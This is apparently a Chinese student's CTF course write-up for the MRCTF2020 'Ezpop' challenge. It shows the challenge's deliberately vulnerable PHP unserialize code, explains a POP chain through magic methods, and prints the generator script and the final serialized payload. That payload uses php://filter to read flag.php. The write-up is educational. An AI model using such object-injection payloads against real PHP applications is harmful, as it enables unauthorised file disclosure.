0%

小测验(大比武_CTF课_第九天)

今天讲题及小测验。前三题还行。最后一题有点崩溃,着重分析一下最后一题。

[MRCTF2020]Ezpop

虽然叫Ezpop但是对于我们这种没学过PHP的人来说,还真是难。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

源码就是如此了。
PHP不熟悉,结合资料和自己的理解简单分析一下。
1、Show类,关键点是__toString()。这里负责执行我们构造的特殊方法。
以下来自于官方手册:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串

2、Modifier类,关键方法是__invoke()。这里负责调用append函数最终include我们要的flag。
以下来自于官方手册:
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

3、Test类,关键点是__get。这里的作用是将一个类当成函数来调用。
以下来自于官方手册:
读取不可访问属性的值时,__get() 会被调用。

由于序列化与反序列化是不能操作除类和属性以外的东西。所以我们只能通过操作各个类来搞定这题。
下面列出生成playload的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#程序用原程序,这里只列出关键修改点
#设置我们读取的flag。
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

#将Show做为主类,因为后面的操作都围绕着它来。
$fuck = new Show;
#将str 实例化为Test类,当调用__toString函数时以执行$this->str->source;
$fuck->str =new Test;
#将Test类中的$p 实例化为Modifier,当调用__get函数时会将Modifier实例以函数执行。
$fuck->str->p=new Modifier;
#这步其实是是为了触发__toString函数。
$b=new Show($fuck);
echo urlencode(serialize($b));

最终生成的playload

1
2
3
4
#用于检查
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
#用于提交
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
坚持原创技术分享,您的支持将鼓励我继续创作!